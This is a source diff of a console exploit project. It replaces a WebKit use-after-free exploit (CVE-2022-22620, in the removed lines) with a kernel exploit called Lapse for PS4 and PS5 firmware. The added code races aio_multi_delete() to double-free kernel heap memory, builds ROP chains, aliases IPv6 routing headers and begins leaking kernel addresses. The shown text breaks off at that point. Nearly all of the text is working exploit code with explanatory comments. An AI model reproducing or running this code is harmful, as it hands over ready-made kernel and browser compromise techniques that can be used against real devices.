diff --git a/psfree.mjs b/psfree.mjs
index fb9b346..b176e5e 100644
--- a/psfree.mjs
+++ b/psfree.mjs
@@ -1,5 +1,4 @@
-/* Copyright (C) 2023-2025 anonymous
-
+/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
@@ -15,41 +14,33 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
-// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write
-//
-// vulnerable:
-// * PS4 [6.00, 10.00)
-// * PS5 [1.00, 6.00)
-//
-// * CelesteBlue from ps4-dev on discord.com
-// * Helped in figuring out the size of WebCore::SerializedScriptValue and
-// its needed offsets on different firmwares.
-// * figured out the range of vulnerable firmwares
-// * janisslsm from ps4-dev on discord.com
-// * Helped in figuring out the size of JSC::ArrayBufferContents and its
-// needed offsets on different firmwares.
-// * Kameleon_ from ps4-dev on discord.com - tester
-// * SlidyBat from PS5 R&D discord.com
-// * Helped in figuring out the size of JSC::ArrayBufferContents and its
-// needed offsets on different firmwares (PS5).
+// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It
+// takes advantage of a bug in aio_multi_delete(). Take a look at the comment
+// at the race_one() function here for a brief summary.
+
+// debug comment legend:
+// * PANIC - code will make the system vulnerable to a kernel panic or it will
+// perform a operation that might panic
+// * RESTORE - code will repair kernel panic vulnerability
+// * MEMLEAK - memory leaks that our code will induce
import { Int } from './module/int64.mjs';
-import { Memory,mem } from './module/mem.mjs';
-import { KB, MB } from './module/offset.mjs';
-import { BufferView } from './module/rw.mjs';
+import { mem } from './module/mem.mjs';
+import { log, die, hex, hexdump } from './module/utils.mjs';
+import { cstr, jstr } from './module/memtools.mjs';
+import { page_size, context_size } from './module/offset.mjs';
+import { Chain } from './module/chain.mjs';
import {
- die,
- DieError,
- log,
- clear_log,
- sleep,
- hex,
- align,
-} from './module/utils.mjs';
+ View1, View2, View4,
+ Word, Long, Pointer,
+ Buffer,
+} from './module/view.mjs';
+import * as rop from './module/chain.mjs';
import * as config from './config.mjs';
-import * as off from './module/offset.mjs';
+
+const t1 = performance.now();
// check if we are running on a supported firmware version
const [is_ps4, version] = (() => {
@@ -58,9 +49,9 @@ const [is_ps4, version] = (() => {
const version = value & 0xffff;
const [lower, upper] = (() => {
if (is_ps4) {
- return [0x600, 0x1000];
+ return [0x100, 0x1250];
} else {
- return [0x100, 0x600];
+ return [0x100, 0x1020];
}
})();
@@ -71,792 +62,1770 @@ const [is_ps4, version] = (() => {
return [is_ps4, version];
})();
-const ssv_len = (() => {
- if (0x600 <= config.target && config.target < 0x650) {
- return 0x58;
+// sys/socket.h
+const AF_UNIX = 1;
+const AF_INET = 2;
+const AF_INET6 = 28;
+const SOCK_STREAM = 1;
+const SOCK_DGRAM = 2;
+const SOL_SOCKET = 0xffff;
+const SO_REUSEADDR = 4;
+const SO_LINGER = 0x80;
+
+// netinet/in.h
+const IPPROTO_TCP = 6;
+const IPPROTO_UDP = 17;
+const IPPROTO_IPV6 = 41;
+
+// netinet/tcp.h
+const TCP_INFO = 0x20;
+const size_tcp_info = 0xec;
+
+// netinet/tcp_fsm.h
+const TCPS_ESTABLISHED = 4;
+
+// netinet6/in6.h
+const IPV6_2292PKTOPTIONS = 25;
+const IPV6_PKTINFO = 46;
+const IPV6_NEXTHOP = 48;
+const IPV6_RTHDR = 51;
+const IPV6_TCLASS = 61;
+
+// sys/cpuset.h
+const CPU_LEVEL_WHICH = 3;
+const CPU_WHICH_TID = 1;
+
+// sys/mman.h
+const MAP_SHARED = 1;
+const MAP_FIXED = 0x10;
+
+// sys/rtprio.h
+const RTP_SET = 1;
+const RTP_PRIO_REALTIME = 2;
+
+// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter
+// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue
+// group. queue 0 of each group is currently unused. queue 1 has the lowest
+// priority and queue 3 has the highest
+//
+// the SceFsstAIO workers will process entries at the main queues. they will
+// refill the main queues from the corresponding wait queues each time they
+// dequeue a request (e.g. fill the low priority main queue from the low
+// priority wait queue)
+//
+// entries on the wait queue will always have a 0 ticket number. they will
+// get assigned a nonzero ticket number once they get put on the main queue
+const AIO_CMD_READ = 1;
+const AIO_CMD_WRITE = 2;
+const AIO_CMD_FLAG_MULTI = 0x1000;
+const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
+const AIO_STATE_COMPLETE = 3;
+const AIO_STATE_ABORTED = 4;
+const num_workers = 2;
+// max number of requests that can be created/polled/canceled/deleted/waited
+const max_aio_ids = 0x80;
+
+// highest priority we can achieve given our credentials
+const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100);
+
+// CONFIG CONSTANTS
+const main_core = 7;
+const num_grooms = 0x200;
+const num_handles = 0x100;
+const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
+const num_alias = 10;
+const num_races = 100;
+const leak_len = 16;
+const num_leaks = 5;
+const num_clobbers = 8;
+
+let chain = null;
+var nogc = [];
+
+async function init() {
+ await rop.init();
+ chain = new Chain();
+
+// PS4 9.00
+const pthread_offsets = new Map(Object.entries({
+ 'pthread_create' : 0x25510,
+ 'pthread_join' : 0xafa0,
+ 'pthread_barrier_init' : 0x273d0,
+ 'pthread_barrier_wait' : 0xa320,
+ 'pthread_barrier_destroy' : 0xfea0,
+ 'pthread_exit' : 0x77a0,
+}));
+
+ rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
+}
+
+function sys_void(...args) {
+ return chain.syscall_void(...args);
+}
+
+function sysi(...args) {
+ return chain.sysi(...args);
+}
+
+function call_nze(...args) {
+ const res = chain.call_int(...args);
+ if (res !== 0) {
+ die(`call(${args[0]}) returned nonzero: ${res}`);
+ }
+}
+
+// #define SCE_KERNEL_AIO_STATE_NOTIFIED 0x10000
+//
+// #define SCE_KERNEL_AIO_STATE_SUBMITTED 1
+// #define SCE_KERNEL_AIO_STATE_PROCESSING 2
+// #define SCE_KERNEL_AIO_STATE_COMPLETED 3
+// #define SCE_KERNEL_AIO_STATE_ABORTED 4
+//
+// typedef struct SceKernelAioResult {
+// // errno / SCE error code / number of bytes processed
+// int64_t returnValue;
+// // SCE_KERNEL_AIO_STATE_*
+// uint32_t state;
+// } SceKernelAioResult;
+//
+// typedef struct SceKernelAioRWRequest {
+// off_t offset;
+// size_t nbyte;
+// void *buf;
+// struct SceKernelAioResult *result;
+// int fd;
+// } SceKernelAioRWRequest;
+//
+// typedef int SceKernelAioSubmitId;
+//
+// // SceAIO submit commands
+// #define SCE_KERNEL_AIO_CMD_READ 0x001
+// #define SCE_KERNEL_AIO_CMD_WRITE 0x002
+// #define SCE_KERNEL_AIO_CMD_MASK 0xfff
+// // SceAIO submit command flags
+// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
+//
+// #define SCE_KERNEL_AIO_PRIORITY_LOW 1
+// #define SCE_KERNEL_AIO_PRIORITY_MID 2
+// #define SCE_KERNEL_AIO_PRIORITY_HIGH 3
+//
+// int
+// aio_submit_cmd(
+// u_int cmd,
+// SceKernelAioRWRequest reqs[],
+// u_int num_reqs,
+// u_int prio,
+// SceKernelAioSubmitId ids[]
+// );
+function aio_submit_cmd(cmd, requests, num_requests, handles) {
+ sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles);
+}
+
+// the various SceAIO syscalls that copies out errors/states will not check if
+// the address is NULL and will return EFAULT. this dummy buffer will serve as
+// the default argument so users don't need to specify one
+const _aio_errors = new View4(max_aio_ids);
+const _aio_errors_p = _aio_errors.addr;
+
+// int
+// aio_multi_delete(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int sce_errors[]
+// );
+function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_delete', ids, num_ids, sce_errs);
+}
+
+// int
+// aio_multi_poll(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int states[]
+// );
+function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_poll', ids, num_ids, sce_errs);
+}
+
+// int
+// aio_multi_cancel(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int states[]
+// );
+function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_cancel', ids, num_ids, sce_errs);
+}
+
+// // wait for all (AND) or atleast one (OR) to finish
+// // DEFAULT is the same as AND
+// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00
+// #define SCE_KERNEL_AIO_WAIT_AND 0x01
+// #define SCE_KERNEL_AIO_WAIT_OR 0x02
+//
+// int
+// aio_multi_wait(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int states[],
+// // SCE_KERNEL_AIO_WAIT_*
+// uint32_t mode,
+// useconds_t *timeout
+// );
+function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0);
+}
+
+function make_reqs1(num_reqs) {
+ const reqs1 = new Buffer(0x28 * num_reqs);
+ for (let i = 0; i < num_reqs; i++) {
+ // .fd = -1
+ reqs1.write32(0x20 + i*0x28, -1);
+ }
+ return reqs1;
+}
+
+function spray_aio(
+ loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ,
+) {
+ const step = 4 * (multi ? num_reqs : 1);
+ cmd |= multi ? AIO_CMD_FLAG_MULTI : 0;
+ for (let i = 0, idx = 0; i < loops; i++) {
+ aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx));
+ idx += step;
+ }
+}
+
+function poll_aio(ids, states, num_ids=ids.length) {
+ if (states !== undefined) {
+ states = states.addr;
+ }
+ aio_multi_poll(ids.addr, num_ids, states);
+}
+
+function cancel_aios(ids_p, num_ids) {
+ const len = max_aio_ids;
+ const rem = num_ids % len;
+ const num_batches = (num_ids - rem) / len;
+ for (let bi = 0; bi < num_batches; bi++) {
+ aio_multi_cancel(ids_p.add((bi << 2) * len), len);
+ }
+ if (rem) {
+ aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem);
+ }
+}
+
+function free_aios(ids_p, num_ids) {
+ const len = max_aio_ids;
+ const rem = num_ids % len;
+ const num_batches = (num_ids - rem) / len;
+ for (let bi = 0; bi < num_batches; bi++) {
+ const addr = ids_p.add((bi << 2) * len);
+ aio_multi_cancel(addr, len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+ if (rem) {
+ const addr = ids_p.add((num_batches << 2) * len);
+ aio_multi_cancel(addr, len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+}
+
+function free_aios2(ids_p, num_ids) {
+ const len = max_aio_ids;
+ const rem = num_ids % len;
+ const num_batches = (num_ids - rem) / len;
+ for (let bi = 0; bi < num_batches; bi++) {
+ const addr = ids_p.add((bi << 2) * len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+ if (rem) {
+ const addr = ids_p.add((num_batches << 2) * len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+}
+
+function get_our_affinity(mask) {
+ sysi(
+ 'cpuset_getaffinity',
+ CPU_LEVEL_WHICH,
+ CPU_WHICH_TID,
+ -1,
+ 8,
+ mask.addr,
+ );
+}
+
+function set_our_affinity(mask) {
+ sysi(
+ 'cpuset_setaffinity',
+ CPU_LEVEL_WHICH,
+ CPU_WHICH_TID,
+ -1,
+ 8,
+ mask.addr,
+ );
+}
+
+function close(fd) {
+ sysi('close', fd);
+}
+
+function new_socket() {
+ return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+}
+
+function new_tcp_socket() {
+ return sysi('socket', AF_INET, SOCK_STREAM, 0);
+}
+
+function gsockopt(sd, level, optname, optval, optlen) {
+ const size = new Word(optval.size);
+ if (optlen !== undefined) {
+ size[0] = optlen;
}
- // PS4 9.xx and all supported PS5 versions
- if (config.target >= 0x900) {
- return 0x50;
+ sysi('getsockopt', sd, level, optname, optval.addr, size.addr);
+ return size[0];
+}
+
+function setsockopt(sd, level, optname, optval, optlen) {
+ sysi('setsockopt', sd, level, optname, optval, optlen);
+}
+
+function ssockopt(sd, level, optname, optval, optlen) {
+ if (optlen === undefined) {
+ optlen = optval.size;
}
- if (0x650 <= config.target && config.target < 0x900) {
- return 0x48;
+ const addr = optval.addr;
+ setsockopt(sd, level, optname, addr, optlen);
+}
+
+function get_rthdr(sd, buf, len) {
+ return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
+}
+
+function set_rthdr(sd, buf, len) {
+ ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
+}
+
+function free_rthdrs(sds) {
+ for (const sd of sds) {
+ setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
}
-})();
+}
-// these constants are expected to be divisible by 2
-const num_fsets = 0x180;
-const num_spaces = 0x40;
-const num_adjs = 8;
+function build_rthdr(buf, size) {
+ const len = ((size >> 3) - 1) & ~1;
+ size = (len + 1) << 3;
-const num_reuses = 0x300;
-const num_strs = 0x200;
-const num_leaks = 0x100;
+ buf[0] = 0;
+ buf[1] = len;
+ buf[2] = 0;
+ buf[3] = len >> 1;
-// we can use the rows attribute of a frameset to allocate from fastMalloc
+ return size;
+}
+
+function spawn_thread(thread) {
+ const ctx = new Buffer(context_size);
+ const pthread = new Pointer();
+ pthread.ctx = ctx;
+ // pivot the pthread's stack pointer to our stack
+ ctx.write64(0x38, thread.stack_addr);
+ ctx.write64(0x80, thread.get_gadget('ret'));
+
+ call_nze(
+ 'pthread_create',
+ pthread.addr,
+ 0,
+ chain.get_gadget('setcontext'),
+ ctx.addr,
+ );
+
+ return pthread;
+}
+
+// EXPLOIT STAGES IMPLEMENTATION
+
+// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE
+
+function make_aliased_rthdrs(sds) {
+ const marker_offset = 4;
+ const size = 0x80;
+ const buf = new Buffer(size);
+ const rsize = build_rthdr(buf, size);
+
+ for (let loop = 0; loop < num_alias; loop++) {
+ for (let i = 0; i < num_sds; i++) {
+ buf.write32(marker_offset, i);
+ set_rthdr(sds[i], buf, rsize);
+ }
+
+ for (let i = 0; i < sds.length; i++) {
+ get_rthdr(sds[i], buf);
+ const marker = buf.read32(marker_offset);
+ if (marker !== i) {
+ log(`aliased rthdrs at attempt: ${loop}`);
+ const pair = [sds[i], sds[marker]];
+ log(`found pair: ${pair}`);
+ sds.splice(marker, 1);
+ sds.splice(i, 1);
+ free_rthdrs(sds);
+ sds.push(new_socket(), new_socket());
+ return pair;
+ }
+ }
+ }
+ die(`failed to make aliased rthdrs. size: ${hex(size)}`);
+}
+
+// summary of the bug at aio_multi_delete():
//
-// see parseAttribute() from
-// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x
-//
-// parseAttribute() will call newLengthArray():
-//
-// UniqueArray newLengthArray(const String& string, int& len)
+// void
+// free_queue_entry(struct aio_entry *reqs2)
// {
-// RefPtr str = string.impl()->simplifyWhiteSpace();
-// ...
-// len = countCharacter(*str, ',') + 1; [1]
-// auto r = makeUniqueArray(len); [2]
-// ...
+// if (reqs2->ar2_spinfo != NULL) {
+// printf(
+// "[0]%s() line=%d Warning !! split info is here\n",
+// __func__,
+// __LINE__
+// );
+// }
+// if (reqs2->ar2_file != NULL) {
+// // we can potentially delay .fo_close()
+// fdrop(reqs2->ar2_file, curthread);
+// reqs2->ar2_file = NULL;
+// }
+// free(reqs2, M_AIO_REQS2);
// }
//
-// pseudocode definition:
-//
-// class UniqueArray:
-// size_t _size; [3]
-// Length _data[];
-//
-// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len.
-// [3] adds an extra 8 bytes to the array
-//
-// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from
-// fastMalloc, then we need:
-//
-// const num_repeats = ssv_len / 8 - 2;
-// const rows = ','.repeat(num_repeats);
-const rows = ','.repeat(ssv_len / 8 - 2);
+// int
+// _aio_multi_delete(
+// struct thread *td,
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int sce_errors[])
+// {
+// // ...
+// struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
+// // ...
+// u_int rem_ids = obj->ao_rem_ids;
+// if (rem_ids != 1) {
+// // BUG: wlock not acquired on this path
+// obj->ao_rem_ids = --rem_ids;
+// // ...
+// free_queue_entry(obj->ao_entries[req_idx]);
+// // the race can crash because of a NULL dereference since this path
+// // doesn't check if the array slot is NULL so we delay
+// // free_queue_entry()
+// obj->ao_entries[req_idx] = NULL;
+// } else {
+// // ...
+// }
+// // ...
+// }
+function race_one(request_addr, tcp_sd, barrier, racer, sds) {
+ const sce_errs = new View4([-1, -1]);
+ const thr_mask = new Word(1 << main_core);
-const original_strlen = ssv_len - off.size_strimpl;
-const original_loc = location.pathname;
-
-function gc() {
- new Uint8Array(4 * MB);
-}
-
-function sread64(str, offset) {
- const low = (
- str.charCodeAt(offset)
- | str.charCodeAt(offset + 1) << 8
- | str.charCodeAt(offset + 2) << 16
- | str.charCodeAt(offset + 3) << 24
+ const thr = racer;
+ thr.push_syscall(
+ 'cpuset_setaffinity',
+ CPU_LEVEL_WHICH,
+ CPU_WHICH_TID,
+ -1,
+ 8,
+ thr_mask.addr,
);
- const high = (
- str.charCodeAt(offset + 4)
- | str.charCodeAt(offset + 5) << 8
- | str.charCodeAt(offset + 6) << 16
- | str.charCodeAt(offset + 7) << 24
+ thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr);
+ thr.push_gadget('pop rax; ret');
+ thr.push_value(1);
+ thr.push_get_retval();
+ thr.push_call('pthread_barrier_wait', barrier.addr);
+ thr.push_syscall(
+ 'aio_multi_delete',
+ request_addr,
+ 1,
+ sce_errs.addr_at(1),
);
- return new Int(low, high);
-}
+ thr.push_call('pthread_exit', 0);
-function prepare_uaf() {
- const fsets = [];
- const indices = [];
+ const pthr = spawn_thread(thr);
+ const thr_tid = pthr.read32(0);
- function alloc_fs(fsets, size) {
- for (let i = 0; i < size / 2; i++) {
- const fset = document.createElement('frameset');
- fset.rows = rows;
- fset.cols = rows;
- fsets.push(fset);
- }
- }
-
- // the first call to either replaceState/pushState is likely to allocate a
- // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
- // the SmallLine where the SSV resides from being freed. so we do a dummy
- // call first
- history.replaceState('state0', '');
-
- alloc_fs(fsets, num_fsets);
-
- // the "state1" SSVs is what we will UAF
-
- history.pushState('state1', '', original_loc + '#bar');
- indices.push(fsets.length);
-
- alloc_fs(fsets, num_spaces);
-
- history.pushState('state1', '', original_loc + '#foo');
- indices.push(fsets.length);
-
- alloc_fs(fsets, num_spaces);
-
- history.pushState('state2', '');
- return [fsets, indices];
-}
-
-// WebCore::SerializedScriptValue use-after-free
-//
-// be careful when accessing history.state since History::state() will get
-// called. History will cache the SSV at its m_lastStateObjectRequested if you
-// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
-async function uaf_ssv(fsets, index, index2) {
- const views = [];
- const input = document.createElement('input');
- input.id = 'input';
- const foo = document.createElement('input');
- foo.id = 'foo';
- const bar = document.createElement('a');
- bar.id = 'bar';
-
- log(`ssv_len: ${hex(ssv_len)}`);
-
- let pop = null;
- let pop2 = null;
- let pop_promise2 = null;
- let blurs = [0, 0];
- let resolves = [];
-
- function onpopstate(event) {
- const no_pop = pop === null;
- const idx = no_pop ? 0 : 1;
-
- log(`pop ${idx} came`);
- if (blurs[idx] === 0) {
- const r = resolves[idx][1];
- r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
- }
-
- if (no_pop) {
- pop_promise2 = new Promise((resolve, reject) => {
- resolves.push([resolve, reject]);
- addEventListener('popstate', onpopstate, {once: true});
- history.back();
- });
- }
-
- if (no_pop) {
- pop = event;
- } else {
- pop2 = event;
- }
- resolves[idx][0]();
- }
-
- const pop_promise = new Promise((resolve, reject) => {
- resolves.push([resolve, reject]);
- addEventListener('popstate', onpopstate, {once: true});
- });
-
- function onblur(event) {
- const target = event.target;
- const is_input = target === input;
- const idx = is_input ? 0 : 1;
- log(`${target.id} blur came`);
-
- if (blurs[idx] > 0) {
- die(`${name}: multiple blurs. blurs: ${blurs[idx]}`);
- }
-
- // we replace the URL with the original so the user can rerun the
- // exploit via a reload. If we don't, the exploit will append another
- // "#foo" to the URL and the input element will not be blurred because
- // the foo element won't be scrolled to during history.back()
- history.replaceState('state3', '', original_loc);
-
- // free the SerializedScriptValue's neighbors and thus free the
- // SmallLine where it resides
- const fset_idx = is_input ? index : index2;
- for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) {
- fsets[i].rows = '';
- fsets[i].cols = '';
- }
-
- for (let i = 0; i < num_reuses; i++) {
- const view = new Uint8Array(new ArrayBuffer(ssv_len));
- view[0] = 0x41;
- views.push(view);
- }
-
- blurs[idx]++;
- }
-
- input.addEventListener('blur', onblur);
- foo.addEventListener('blur', onblur);
-
- document.body.append(input);
- document.body.append(foo);
- document.body.append(bar);
-
- // FrameLoader::loadInSameDocument() calls Document::statePopped().
- // statePopped() will defer firing of popstate until we're in the complete
- // state
+ // pthread barrier implementation:
//
- // this means that onblur() will run with "state2" as the current history
- // item if we call loadInSameDocument too early
- log(`readyState now: ${document.readyState}`);
+ // given a barrier that needs N threads for it to be unlocked, a thread
+ // will sleep if it waits on the barrier and N - 1 threads havent't arrived
+ // before
+ //
+ // if there were already N - 1 threads then that thread (last waiter) won't
+ // sleep and it will send out a wake-up call to the waiting threads
+ //
+ // since the ps4's cores only have 1 hardware thread each, we can pin 2
+ // threads on the same core and control the interleaving of their
+ // executions via controlled context switches
- if (document.readyState !== 'complete') {
- await new Promise(resolve => {
- document.addEventListener('readystatechange', function foo() {
- if (document.readyState === 'complete') {
- document.removeEventListener('readystatechange', foo);
- resolve();
- }
- });
- });
+ // wait for the worker to enter the barrier and sleep
+ while (thr.retval_int === 0) {
+ sys_void('sched_yield');
}
- log(`readyState now: ${document.readyState}`);
+ // enter the barrier as the last waiter
+ chain.push_call('pthread_barrier_wait', barrier.addr);
+ // yield and hope the scheduler runs the worker next. the worker will then
+ // sleep at soclose() and hopefully we run next
+ chain.push_syscall('sched_yield');
+ // if we get here and the worker hasn't been reran then we can delay the
+ // worker's execution of soclose() indefinitely
+ chain.push_syscall('thr_suspend_ucontext', thr_tid);
+ chain.push_get_retval();
+ chain.push_get_errno();
+ chain.push_end();
+ chain.run();
+ chain.reset();
- await new Promise(resolve => {
- input.addEventListener('focus', resolve, {once: true});
- input.focus();
- });
+ const main_res = chain.retval_int;
+ log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);
- history.back();
- await pop_promise;
- await pop_promise2;
+ if (main_res === -1) {
+ call_nze('pthread_join', pthr, 0);
+ log();
+ return null;
+ }
- log('done await popstate');
+ let won_race = false;
+ try {
+ const poll_err = new View4(1);
+ aio_multi_poll(request_addr, 1, poll_err.addr);
+ log(`poll: ${hex(poll_err[0])}`);
- input.remove();
- foo.remove();
- bar.remove();
+ const info_buf = new View1(size_tcp_info);
+ const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf);
+ log(`info size: ${hex(info_size)}`);
- const res = [];
- for (let i = 0; i < views.length; i++) {
- const view = views[i];
- if (view[0] !== 0x41) {
- log(`view index: ${hex(i)}`);
- log('found view:');
- log(view);
+ if (info_size !== size_tcp_info) {
+ die(`info size isn't ${size_tcp_info}: ${info_size}`);
+ }
- // set SSV's refcount to 1, all other fields to 0/NULL
- view[0] = 1;
- view.fill(0, 1);
+ const tcp_state = info_buf[0];
+ log(`tcp_state: ${tcp_state}`);
- if (res.length) {
- res[1] = [new BufferView(view.buffer), pop2];
- break;
+ const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
+ if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH
+ && tcp_state !== TCPS_ESTABLISHED
+ ) {
+ // PANIC: double free on the 0x80 malloc zone. important kernel
+ // data may alias
+ aio_multi_delete(request_addr, 1, sce_errs.addr);
+ won_race = true;
+ }
+ } finally {
+ log('resume thread\n');
+ sysi('thr_resume_ucontext', thr_tid);
+ call_nze('pthread_join', pthr, 0);
+ }
+
+ if (won_race) {
+ log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
+ // if the code has no bugs then this isn't possible but we keep the
+ // check for easier debugging
+ if (sce_errs[0] !== sce_errs[1]) {
+ log('ERROR: bad won_race');
+ die('ERROR: bad won_race');
+ }
+ // RESTORE: double freed memory has been reclaimed with harmless data
+ // PANIC: 0x80 malloc zone pointers aliased
+ return make_aliased_rthdrs(sds);
+ }
+
+ return null;
+}
+
+function double_free_reqs2(sds) {
+ function swap_bytes(x, byte_length) {
+ let res = 0;
+ for (let i = 0; i < byte_length; i++) {
+ res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
+ }
+
+ return res >>> 0;
+ }
+
+ function htons(x) {
+ return swap_bytes(x, 2);
+ }
+
+ function htonl(x) {
+ return swap_bytes(x, 4);
+ }
+
+ const server_addr = new Buffer(16);
+ // sockaddr_in.sin_family
+ server_addr[1] = AF_INET;
+ // sockaddr_in.sin_port
+ server_addr.write16(2, htons(5050));
+ // sockaddr_in.sin_addr = 127.0.0.1
+ server_addr.write32(4, htonl(0x7f000001));
+
+ const racer = new Chain();
+ const barrier = new Long();
+ call_nze('pthread_barrier_init', barrier.addr, 0, 2);
+
+ const num_reqs = 3;
+ const which_req = num_reqs - 1;
+ const reqs1 = make_reqs1(num_reqs);
+ const reqs1_p = reqs1.addr;
+ const aio_ids = new View4(num_reqs);
+ const aio_ids_p = aio_ids.addr;
+ const req_addr = aio_ids.addr_at(which_req);
+ const cmd = AIO_CMD_MULTI_READ;
+
+ const sd_listen = new_tcp_socket();
+ ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
+
+ sysi('bind', sd_listen, server_addr.addr, server_addr.size);
+ sysi('listen', sd_listen, 1);
+
+ for (let i = 0; i < num_races; i++) {
+ const sd_client = new_tcp_socket();
+ sysi('connect', sd_client, server_addr.addr, server_addr.size);
+
+ const sd_conn = sysi('accept', sd_listen, 0, 0);
+ // force soclose() to sleep
+ ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
+ reqs1.write32(0x20 + which_req*0x28, sd_client);
+
+ aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
+ aio_multi_cancel(aio_ids_p, num_reqs);
+ aio_multi_poll(aio_ids_p, num_reqs);
+
+ // drop the reference so that aio_multi_delete() will trigger _fdrop()
+ close(sd_client);
+
+ const res = race_one(req_addr, sd_conn, barrier, racer, sds);
+ racer.reset();
+
+ // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
+ // twice. this will leave one request undeleted
+ aio_multi_delete(aio_ids_p, num_reqs);
+ close(sd_conn);
+
+ if (res !== null) {
+ log(`won race at attempt: ${i}`);
+ close(sd_listen);
+ call_nze('pthread_barrier_destroy', barrier.addr);
+ return res;
+ }
+ }
+
+ die('failed aio double free');
+}
+
+// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS
+
+function new_evf(flags) {
+ const name = cstr('');
+ // int evf_create(char *name, uint32_t attributes, uint64_t flags)
+ return sysi('evf_create', name.addr, 0, flags);
+}
+
+function set_evf_flags(id, flags) {
+ sysi('evf_clear', id, 0);
+ sysi('evf_set', id, flags);
+}
+
+function free_evf(id) {
+ sysi('evf_delete', id);
+}
+
+function verify_reqs2(buf, offset) {
+ // reqs2.ar2_cmd
+ if (buf.read32(offset) !== AIO_CMD_WRITE) {
+ return false;
+ }
+
+ // heap addresses are prefixed with 0xffff_xxxx
+ // xxxx is randomized on boot
+ //
+ // heap_prefixes is a array of randomized prefix bits from a group of heap
+ // address candidates. if the candidates truly are from the heap, they must
+ // share a common prefix
+ const heap_prefixes = [];
+
+ // check if offsets 0x10 to 0x20 look like a kernel heap address
+ for (let i = 0x10; i <= 0x20; i += 8) {
+ if (buf.read16(offset + i + 6) !== 0xffff) {
+ return false;
+ }
+ heap_prefixes.push(buf.read16(offset + i + 4));
+ }
+
+ // check reqs2.ar2_result.state
+ // state is actually a 32-bit value but the allocated memory was
+ // initialized with zeros. all padding bytes must be 0 then
+ let state = buf.read32(offset + 0x38);
+ if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
+ return false;
+ }
+
+ // reqs2.ar2_file must be NULL since we passed a bad file descriptor to
+ // aio_submit_cmd()
+ if (!buf.read64(offset + 0x40).eq(0)) {
+ return false;
+ }
+
+ // check if offsets 0x48 to 0x50 look like a kernel address
+ for (let i = 0x48; i <= 0x50; i += 8) {
+ if (buf.read16(offset + i + 6) === 0xffff) {
+ // don't push kernel ELF addresses
+ if (buf.read16(offset + i + 4) !== 0xffff) {
+ heap_prefixes.push(buf.read16(offset + i + 4));
}
-
- // return without keeping any references to pop, making it GC-able.
- // its WebCore::PopStateEvent will then be freed on its death
- res[0] = new BufferView(view.buffer);
- i = num_reuses - 1;
+ // offset 0x48 can be NULL
+ } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
+ return false;
}
}
- if (res.length !== 2) {
- die('failed SerializedScriptValue UAF');
- }
- return res;
+ return heap_prefixes.every((e, i, a) => e === a[0]);
}
-class Reader {
- constructor(rstr, rstr_view) {
- this.rstr = rstr;
- this.rstr_view = rstr_view;
- this.m_data = rstr_view.read64(off.strimpl_m_data);
- }
+function leak_kernel_addrs(sd_pair) {
